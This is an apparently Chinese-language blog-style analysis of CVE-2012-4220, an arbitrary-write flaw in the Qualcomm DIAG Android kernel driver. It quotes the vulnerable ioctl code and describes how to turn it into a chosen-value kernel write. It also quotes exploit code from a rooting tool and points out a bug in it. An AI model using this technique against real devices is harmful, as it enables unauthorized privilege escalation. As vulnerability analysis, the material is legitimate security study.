漏洞信息
该漏洞的一些相关连接:
上述连接中对该漏洞的描述:
diagchar_core.c in the Qualcomm Innovation Center (QuIC) Diagnostics (aka DIAG) kernel-mode driver for Android 2.3 through 4.2 allows attackers to execute arbitrary code or cause a denial of service (incorrect pointer dereference) via an application that uses crafted arguments in a local diagchar_ioctl call.
漏洞分析
造成该漏洞的主要代码如下:
// file: drivers/char/diag/diagchar_core.c // function: diagchar_ioctl } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) { struct diagpkt_delay_params *delay_params = (struct diagpkt_delay_params *) ioarg; if ((delay_params->rsp_ptr) && (delay_params->size == sizeof(delayed_rsp_id)) && (delay_params->num_bytes_ptr)) { *((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id); success = 0; }
这代码有两个问题:
- 1. 对于用户态传递的参数ioarg没有检验直接使用。传递一个无效指针即可造成拒绝服务。
2. 对delay_params中的rsp_ptr以及num_bytes_ptr两个用户态的指针仅做了非空判断就直接使用。传递无效指针可造成拒绝服务,传递其他地址可以造成任意地址写入攻击。
利用思路
先看一下相关的代码:
static uint16_t delayed_rsp_id = 1; #define DIAGPKT_MAX_DELAYED_RSP 0xFFFF #define DIAGPKT_NEXT_DELAYED_RSP_ID(x) ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
完成有效的攻击需要注意几点。delay_params->rsp_ptr被当作16位的指针处理,写入的内容是delayed_rsp_id的值,这个值的范围是0x2~0xFFFF。如果希望向特定的地址写入特定的值,需要获取到当前的delayed_rsp_id的值,然后用目标值减去当前值,得到了循环的次数,最后循环发送ioctl即可将特定地址的值修改为我们想要的值。如果delayed_rsp_id的值要比目标的值大,则可以使用num_bytes_ptr来重置delayed_rsp_id的值为2。
利用代码
写得比较完整的利用代码可以参考android-rooting-tools里的libdiagexploit,不过这个利用代码有个比较严重的bug:
static bool inject_value(struct diag_values *data, int fd, void *delayed_rsp_id_address) { uint16_t delayed_rsp_id_value = 0; int i, loop_count, ret; ret = get_current_delayed_rsp_id(fd); if (ret < 0) { return false; } delayed_rsp_id_value = ret; data->original_value = delayed_rsp_id_value; if (delayed_rsp_id_value > data->value && reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) { return false; } loop_count = (data->value - delayed_rsp_id_value) & 0xffff; for (i = 0; i < loop_count; i++) { int unused; if (send_delay_params(fd, (void *)data->address, &unused) < 0) { return false; } } return true; }
代码中,在delayed_rsp_id_value比data->value大的时候,会调用reset_delayed_rsp_id重置delayed_rsp_id计数为2,但这个时候,并没有修改局部变量的delayed_rsp_id_value为2,导致后面计算的loop_count不正确,因此无法正确的写入值。而且写入值的时候,需要注意控制0和1的出现。比如写入地址的时候,分配一块地址较高内存进行处理会让利用更稳定一些。
参考文章
- http://retme.net/index.php/2014/03/31/CVE-2012-4220-diag.html
- http://blog.csdn.net/hu3167343/article/details/36180761